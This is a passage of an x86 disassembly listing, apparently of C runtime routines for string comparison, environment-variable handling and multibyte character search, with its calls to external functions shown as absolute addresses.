jnz loc_430ADF
cmp [ebp+arg_10], 0
jnz short loc_430A02
mov ecx, dword_4DB1C8
mov [ebp+arg_10], ecx
loc_430A02: ; CODE XREF: sub_430950+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 2610000h
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_430A24
xor eax, eax
jmp loc_430AE1
; ---------------------------------------------------------------------------
loc_430A24: ; CODE XREF: sub_430950+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_417E20
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_430A66
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_430A66: ; CODE XREF: sub_430950+FDj
cmp [ebp+var_20], 0
jnz short loc_430A70
xor eax, eax
jmp short loc_430AE1
; ---------------------------------------------------------------------------
loc_430A70: ; CODE XREF: sub_430950+11Aj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
nop
call near ptr 2610000h
test eax, eax
jnz short loc_430A8E
xor eax, eax
jmp short loc_430AE1
; ---------------------------------------------------------------------------
loc_430A8E: ; CODE XREF: sub_430950+138j
cmp [ebp+arg_C], 0
jnz short loc_430AB6
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_10]
push ecx
call near ptr 2710000h
nop
mov [ebp+var_24], eax
jmp short loc_430ADA
; ---------------------------------------------------------------------------
loc_430AB6: ; CODE XREF: sub_430950+142j
push 0
push 0
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
nop
call near ptr 2710000h
mov [ebp+var_24], eax
loc_430ADA: ; CODE XREF: sub_430950+164j
mov eax, [ebp+var_24]
jmp short loc_430AE1
; ---------------------------------------------------------------------------
loc_430ADF: ; CODE XREF: sub_430950+9Dj
xor eax, eax
loc_430AE1: ; CODE XREF: sub_430950+6Dj
; sub_430950+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_430950 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430B00 proc near ; CODE XREF: sub_4301A0+2Dp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434F18
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFC8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DB448, 0
jnz short loc_430B86
push 1
push offset dword_434260
push 1
push offset dword_434260
push 0
push 0
nop
call near ptr 2600000h
test eax, eax
jz short loc_430B57
mov dword_4DB448, 1
jmp short loc_430B86
; ---------------------------------------------------------------------------
loc_430B57: ; CODE XREF: sub_430B00+49j
push 1
push offset dword_43425C
push 1
push offset dword_43425C
push 0
push 0
nop
call near ptr 2600794h
test eax, eax
jz short loc_430B7F
mov dword_4DB448, 2
jmp short loc_430B86
; ---------------------------------------------------------------------------
loc_430B7F: ; CODE XREF: sub_430B00+71j
xor eax, eax
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430B86: ; CODE XREF: sub_430B00+2Dj
; sub_430B00+55j ...
cmp [ebp+arg_C], 0
jle short loc_430B9F
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_430F00
add esp, 8
mov [ebp+arg_C], eax
loc_430B9F: ; CODE XREF: sub_430B00+8Aj
cmp [ebp+arg_14], 0
jle short loc_430BB8
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
call sub_430F00
add esp, 8
mov [ebp+arg_14], eax
loc_430BB8: ; CODE XREF: sub_430B00+A3j
cmp dword_4DB448, 2
jnz short loc_430BE4
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 2600794h
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430BE4: ; CODE XREF: sub_430B00+BFj
cmp dword_4DB448, 1
jnz loc_430EE2
cmp [ebp+arg_18], 0
jnz short loc_430C00
mov ecx, dword_4DB1C8
mov [ebp+arg_18], ecx
loc_430C00: ; CODE XREF: sub_430B00+F5j
cmp [ebp+arg_C], 0
jz short loc_430C10
cmp [ebp+arg_14], 0
jnz loc_430D8C
loc_430C10: ; CODE XREF: sub_430B00+104j
mov edx, [ebp+arg_C]
cmp edx, [ebp+arg_14]
jnz short loc_430C22
mov eax, 2
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430C22: ; CODE XREF: sub_430B00+116j
cmp [ebp+arg_14], 1
jle short loc_430C32
mov eax, 1
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430C32: ; CODE XREF: sub_430B00+126j
cmp [ebp+arg_C], 1
jle short loc_430C42
mov eax, 3
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430C42: ; CODE XREF: sub_430B00+136j
lea eax, [ebp+var_3C]
push eax
mov ecx, [ebp+arg_18]
push ecx
nop
call near ptr 28B0000h
test eax, eax
jnz short loc_430C5B
xor eax, eax
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430C5B: ; CODE XREF: sub_430B00+152j
; sub_430B00+198j
cmp [ebp+arg_C], 0
jnz short loc_430C67
cmp [ebp+arg_14], 1
jz short loc_430C94
loc_430C67: ; CODE XREF: sub_430B00+15Fj
cmp [ebp+arg_C], 1
jnz short loc_430C73
cmp [ebp+arg_14], 0
jz short loc_430C94
loc_430C73: ; CODE XREF: sub_430B00+16Bj
push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
push 0
push 0B6h
push offset dword_434ECC
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_430C94
int 3 ; Trap to Debugger
loc_430C94: ; CODE XREF: sub_430B00+165j
; sub_430B00+171j ...
xor edx, edx
test edx, edx
jnz short loc_430C5B
cmp [ebp+arg_C], 0
jle short loc_430D13
cmp [ebp+var_3C], 2
jnb short loc_430CB0
mov eax, 3
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430CB0: ; CODE XREF: sub_430B00+1A4j
lea eax, [ebp+var_36]
mov [ebp+var_40], eax
jmp short loc_430CC1
; ---------------------------------------------------------------------------
loc_430CB8: ; CODE XREF: sub_430B00:loc_430D07j
mov ecx, [ebp+var_40]
add ecx, 2
mov [ebp+var_40], ecx
loc_430CC1: ; CODE XREF: sub_430B00+1B6j
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_430D09
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_430D09
mov eax, [ebp+arg_8]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
cmp ecx, eax
jl short loc_430D07
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
cmp edx, ecx
jg short loc_430D07
mov eax, 2
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430D07: ; CODE XREF: sub_430B00+1E8j
; sub_430B00+1FBj
jmp short loc_430CB8
; ---------------------------------------------------------------------------
loc_430D09: ; CODE XREF: sub_430B00+1CAj
; sub_430B00+1D6j
mov eax, 3
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430D13: ; CODE XREF: sub_430B00+19Ej
cmp [ebp+arg_14], 0
jle short loc_430D8C
cmp [ebp+var_3C], 2
jnb short loc_430D29
mov eax, 1
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430D29: ; CODE XREF: sub_430B00+21Dj
lea edx, [ebp+var_36]
mov [ebp+var_40], edx
jmp short loc_430D3A
; ---------------------------------------------------------------------------
loc_430D31: ; CODE XREF: sub_430B00:loc_430D80j
mov eax, [ebp+var_40]
add eax, 2
mov [ebp+var_40], eax
loc_430D3A: ; CODE XREF: sub_430B00+22Fj
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_430D82
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_430D82
mov edx, [ebp+arg_10]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
cmp eax, edx
jl short loc_430D80
mov eax, [ebp+arg_10]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx+1]
cmp ecx, eax
jg short loc_430D80
mov eax, 2
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430D80: ; CODE XREF: sub_430B00+261j
; sub_430B00+274j
jmp short loc_430D31
; ---------------------------------------------------------------------------
loc_430D82: ; CODE XREF: sub_430B00+243j
; sub_430B00+24Fj
mov eax, 1
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430D8C: ; CODE XREF: sub_430B00+10Aj
; sub_430B00+217j
push 0
push 0
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
nop
call near ptr 2810000h
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_430DB4
xor eax, eax
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430DB4: ; CODE XREF: sub_430B00+2ABj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_417E20
mov [ebp+var_44], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_44]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_430DF6
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_430DF6: ; CODE XREF: sub_430B00+2DDj
cmp [ebp+var_24], 0
jnz short loc_430E03
xor eax, eax
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430E03: ; CODE XREF: sub_430B00+2FAj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
nop
call near ptr 2810000h
test eax, eax
jnz short loc_430E2A
xor eax, eax
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430E2A: ; CODE XREF: sub_430B00+321j
push 0
push 0
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call near ptr 2810000h
nop
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_430E52
xor eax, eax
jmp loc_430EE4
; ---------------------------------------------------------------------------
loc_430E52: ; CODE XREF: sub_430B00+349j
mov [ebp+var_4], 1
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_417E20
mov [ebp+var_48], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_48]
mov [ebp+var_28], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_430E94
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_28], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_430E94: ; CODE XREF: sub_430B00+37Bj
cmp [ebp+var_28], 0
jnz short loc_430E9E
xor eax, eax
jmp short loc_430EE4
; ---------------------------------------------------------------------------
loc_430E9E: ; CODE XREF: sub_430B00+398j
mov edx, [ebp+var_20]
push edx
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
nop
call near ptr 2810000h
test eax, eax
jnz short loc_430EC2
xor eax, eax
jmp short loc_430EE4
; ---------------------------------------------------------------------------
loc_430EC2: ; CODE XREF: sub_430B00+3BCj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 2600000h
jmp short loc_430EE4
; ---------------------------------------------------------------------------
loc_430EE2: ; CODE XREF: sub_430B00+EBj
xor eax, eax
loc_430EE4: ; CODE XREF: sub_430B00+81j
; sub_430B00+DFj ...
lea esp, [ebp-54h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_430B00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430F00 proc near ; CODE XREF: sub_430B00+94p
; sub_430B00+ADp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_430F12: ; CODE XREF: sub_430F00+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_430F37
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_430F37
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_430F12
; ---------------------------------------------------------------------------
loc_430F37: ; CODE XREF: sub_430F00+20j
; sub_430F00+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_430F49
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_430F4C
; ---------------------------------------------------------------------------
loc_430F49: ; CODE XREF: sub_430F00+3Fj
mov eax, [ebp+arg_4]
loc_430F4C: ; CODE XREF: sub_430F00+47j
mov esp, ebp
pop ebp
retn
sub_430F00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430F50 proc near ; CODE XREF: sub_4301F0+92p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
cmp [ebp+arg_0], 0
jz short loc_430F7C
push 3Dh
mov eax, [ebp+arg_0]
push eax
call sub_4313A0
add esp, 8
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_430F7C
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_18]
jnz short loc_430F84
loc_430F7C: ; CODE XREF: sub_430F50+Bj
; sub_430F50+22j
or eax, 0FFFFFFFFh
jmp loc_43122B
; ---------------------------------------------------------------------------
loc_430F84: ; CODE XREF: sub_430F50+2Aj
mov edx, [ebp+var_18]
movsx eax, byte ptr [edx+1]
neg eax
sbb eax, eax
inc eax
mov [ebp+var_14], eax
mov ecx, dword_4DB0CC
cmp ecx, dword_4DB0D0
jnz short loc_430FB5
mov edx, dword_4DB0CC
push edx
call sub_4312B0
add esp, 4
mov dword_4DB0CC, eax
loc_430FB5: ; CODE XREF: sub_430F50+4Fj
cmp dword_4DB0CC, 0
jnz loc_431075
cmp [ebp+arg_4], 0
jz short loc_430FE7
cmp dword_4DB0D4, 0
jz short loc_430FE7
call sub_4301F0
test eax, eax
jz short loc_430FE2
or eax, 0FFFFFFFFh
jmp loc_43122B
; ---------------------------------------------------------------------------
loc_430FE2: ; CODE XREF: sub_430F50+88j
jmp loc_431075
; ---------------------------------------------------------------------------
loc_430FE7: ; CODE XREF: sub_430F50+76j
; sub_430F50+7Fj
cmp [ebp+var_14], 0
jz short loc_430FF4
xor eax, eax
jmp loc_43122B
; ---------------------------------------------------------------------------
loc_430FF4: ; CODE XREF: sub_430F50+9Bj
cmp dword_4DB0CC, 0
jnz short loc_431034
push 87h
push offset dword_434F30
push 2
push 4
call sub_414DD0
add esp, 10h
mov dword_4DB0CC, eax
cmp dword_4DB0CC, 0
jnz short loc_431029
or eax, 0FFFFFFFFh
jmp loc_43122B
; ---------------------------------------------------------------------------
loc_431029: ; CODE XREF: sub_430F50+CFj
mov eax, dword_4DB0CC
mov dword ptr [eax], 0
loc_431034: ; CODE XREF: sub_430F50+ABj
cmp dword_4DB0D4, 0
jnz short loc_431075
push 8Eh
push offset dword_434F30
push 2
push 4
call sub_414DD0
add esp, 10h
mov dword_4DB0D4, eax
cmp dword_4DB0D4, 0
jnz short loc_431069
or eax, 0FFFFFFFFh
jmp loc_43122B
; ---------------------------------------------------------------------------
loc_431069: ; CODE XREF: sub_430F50+10Fj
mov ecx, dword_4DB0D4
mov dword ptr [ecx], 0
loc_431075: ; CODE XREF: sub_430F50+6Cj
; sub_430F50:loc_430FE2j ...
mov edx, dword_4DB0CC
mov [ebp+var_C], edx
mov eax, [ebp+var_18]
sub eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_431230
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jl loc_431131
mov edx, [ebp+var_C]
cmp dword ptr [edx], 0
jz loc_431131
cmp [ebp+var_14], 0
jz short loc_431123
push 2
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ecx+eax*4]
push edx
call sub_415860
add esp, 8
jmp short loc_4310CF
; ---------------------------------------------------------------------------
loc_4310C6: ; CODE XREF: sub_430F50+19Ej
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_4310CF: ; CODE XREF: sub_430F50+174j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
cmp dword ptr [edx+ecx*4], 0
jz short loc_4310F0
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov esi, [ebp+var_C]
mov edx, [esi+edx*4+4]
mov [ecx+eax*4], edx
jmp short loc_4310C6
; ---------------------------------------------------------------------------
loc_4310F0: ; CODE XREF: sub_430F50+189j
push 0B9h
push offset dword_434F30
push 2
mov eax, [ebp+var_8]
shl eax, 2
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_415260
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_431121
mov edx, [ebp+var_C]
mov dword_4DB0CC, edx
loc_431121: ; CODE XREF: sub_430F50+1C6j
jmp short loc_43112F
; ---------------------------------------------------------------------------
loc_431123: ; CODE XREF: sub_430F50+15Ej
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [ecx+eax*4], edx
loc_43112F: ; CODE XREF: sub_430F50:loc_431121j
jmp short loc_4311A4
; ---------------------------------------------------------------------------
loc_431131: ; CODE XREF: sub_430F50+148j
; sub_430F50+154j
cmp [ebp+var_14], 0
jnz short loc_43119D
cmp [ebp+var_8], 0
jge short loc_431145
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_431145: ; CODE XREF: sub_430F50+1EBj
push 0CEh
push offset dword_434F30
push 2
mov ecx, [ebp+var_8]
lea edx, ds:8[ecx*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_415260
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_431179
or eax, 0FFFFFFFFh
jmp loc_43122B
; ---------------------------------------------------------------------------
loc_431179: ; CODE XREF: sub_430F50+21Fj
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
mov [edx+ecx*4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov dword ptr [edx+ecx*4+4], 0
mov eax, [ebp+var_C]
mov dword_4DB0CC, eax
jmp short loc_4311A4
; ---------------------------------------------------------------------------
loc_43119D: ; CODE XREF: sub_430F50+1E5j
xor eax, eax
jmp loc_43122B
; ---------------------------------------------------------------------------
loc_4311A4: ; CODE XREF: sub_430F50:loc_43112Fj
; sub_430F50+24Bj
cmp [ebp+arg_4], 0
jz short loc_431229
push 0E5h
push offset dword_434F30
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_414BE0
add esp, 4
add eax, 2
push eax
call sub_414DD0
add esp, 10h
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_431229
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_10]
push eax
call sub_4184C0
add esp, 8
mov ecx, [ebp+var_18]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
neg edx
sbb edx, edx
not edx
and edx, [ebp+var_4]
push edx
mov eax, [ebp+var_10]
push eax
nop
call near ptr 25F0000h
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_415860
add esp, 8
loc_431229: ; CODE XREF: sub_430F50+258j
; sub_430F50+285j
xor eax, eax
loc_43122B: ; CODE XREF: sub_430F50+2Fj
; sub_430F50+8Dj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_430F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431230 proc near ; CODE XREF: sub_430F50+139p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB0CC
mov [ebp+var_4], eax
jmp short loc_431247
; ---------------------------------------------------------------------------
loc_43123E: ; CODE XREF: sub_431230:loc_431298j
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
loc_431247: ; CODE XREF: sub_431230+Cj
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_43129A
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4301A0
add esp, 0Ch
test eax, eax
jnz short loc_431298
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [edx+eax]
cmp ecx, 3Dh
jz short loc_43128A
mov edx, [ebp+var_4]
mov eax, [edx]
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [eax+ecx]
test edx, edx
jnz short loc_431298
loc_43128A: ; CODE XREF: sub_431230+48j
mov eax, [ebp+var_4]
sub eax, dword_4DB0CC
sar eax, 2
jmp short loc_4312A8
; ---------------------------------------------------------------------------
loc_431298: ; CODE XREF: sub_431230+37j
; sub_431230+58j
jmp short loc_43123E
; ---------------------------------------------------------------------------
loc_43129A: ; CODE XREF: sub_431230+1Dj
mov eax, [ebp+var_4]
sub eax, dword_4DB0CC
sar eax, 2
neg eax
loc_4312A8: ; CODE XREF: sub_431230+66j
mov esp, ebp
pop ebp
retn
sub_431230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4312B0 proc near ; CODE XREF: sub_430F50+58p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 0
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
cmp [ebp+arg_0], 0
jnz short loc_4312D0
xor eax, eax
jmp loc_43139A
; ---------------------------------------------------------------------------
loc_4312D0: ; CODE XREF: sub_4312B0+17j
; sub_4312B0+3Bj
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov eax, [ebp+var_C]
add eax, 4
mov [ebp+var_C], eax
test edx, edx
jz short loc_4312ED
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_4312D0
; ---------------------------------------------------------------------------
loc_4312ED: ; CODE XREF: sub_4312B0+30j
push 146h
push offset dword_434F30
push 2
mov edx, [ebp+var_10]
lea eax, ds:4[edx*4]
push eax
call sub_414DD0
add esp, 10h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jnz short loc_431325
push 9
call sub_41A9A0
add esp, 4
loc_431325: ; CODE XREF: sub_4312B0+69j
mov edx, [ebp+arg_0]
mov [ebp+var_C], edx
loc_43132B: ; CODE XREF: sub_4312B0+DCj
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jz short loc_43138E
push 14Fh
push offset dword_434F30
push 2
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call sub_414BE0
add esp, 4
add eax, 1
push eax
call sub_414DD0
add esp, 10h
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jz short loc_43137A
mov eax, [ebp+var_C]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call sub_4184C0
add esp, 8
loc_43137A: ; CODE XREF: sub_4312B0+B4j
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_43132B
; ---------------------------------------------------------------------------
loc_43138E: ; CODE XREF: sub_4312B0+81j
mov eax, [ebp+var_8]
mov dword ptr [eax], 0
mov eax, [ebp+var_4]
loc_43139A: ; CODE XREF: sub_4312B0+1Bj
mov esp, ebp
pop ebp
retn
sub_4312B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4313A0 proc near ; CODE XREF: sub_430F50+13p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp dword_4DB57C, 0
jnz short loc_4313C2
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4185C0
add esp, 8
jmp loc_431489
; ---------------------------------------------------------------------------
loc_4313C2: ; CODE XREF: sub_4313A0+Bj
push 19h
call sub_41B780
add esp, 4
jmp short loc_4313D7
; ---------------------------------------------------------------------------
loc_4313CE: ; CODE XREF: sub_4313A0:loc_431466j
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_4313D7: ; CODE XREF: sub_4313A0+2Cj
mov eax, [ebp+arg_0]
movzx cx, byte ptr [eax]
mov word ptr [ebp+var_4], cx
mov edx, [ebp+var_4]
and edx, 0FFFFh
test edx, edx
jz short loc_43146B
mov eax, [ebp+var_4]
and eax, 0FFh
xor ecx, ecx
mov cl, byte_4DB681[eax]
and ecx, 4
test ecx, ecx
jz short loc_431456
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_431428
push 19h
call sub_41B820
add esp, 4
xor eax, eax
jmp short loc_431489
; ---------------------------------------------------------------------------
loc_431428: ; CODE XREF: sub_4313A0+78j
mov edx, [ebp+var_4]
and edx, 0FFFFh
shl edx, 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
or edx, ecx
cmp [ebp+arg_4], edx
jnz short loc_431454
push 19h
call sub_41B820
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 1
jmp short loc_431489
; ---------------------------------------------------------------------------
loc_431454: ; CODE XREF: sub_4313A0+A0j
jmp short loc_431466
; ---------------------------------------------------------------------------
loc_431456: ; CODE XREF: sub_4313A0+64j
mov edx, [ebp+var_4]
and edx, 0FFFFh
cmp [ebp+arg_4], edx
jnz short loc_431466
jmp short loc_43146B
; ---------------------------------------------------------------------------
loc_431466: ; CODE XREF: sub_4313A0:loc_431454j
; sub_4313A0+C2j
jmp loc_4313CE
; ---------------------------------------------------------------------------
loc_43146B: ; CODE XREF: sub_4313A0+4Dj
; sub_4313A0+C4j
push 19h
call sub_41B820
add esp, 4
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp [ebp+arg_4], eax
jnz short loc_431487
mov eax, [ebp+arg_0]
jmp short loc_431489
; ---------------------------------------------------------------------------
loc_431487: ; CODE XREF: sub_4313A0+E0j
xor eax, eax
loc_431489: ; CODE XREF: sub_4313A0+1Dj
; sub_4313A0+86j ...
mov esp, ebp
pop ebp
retn
sub_4313A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
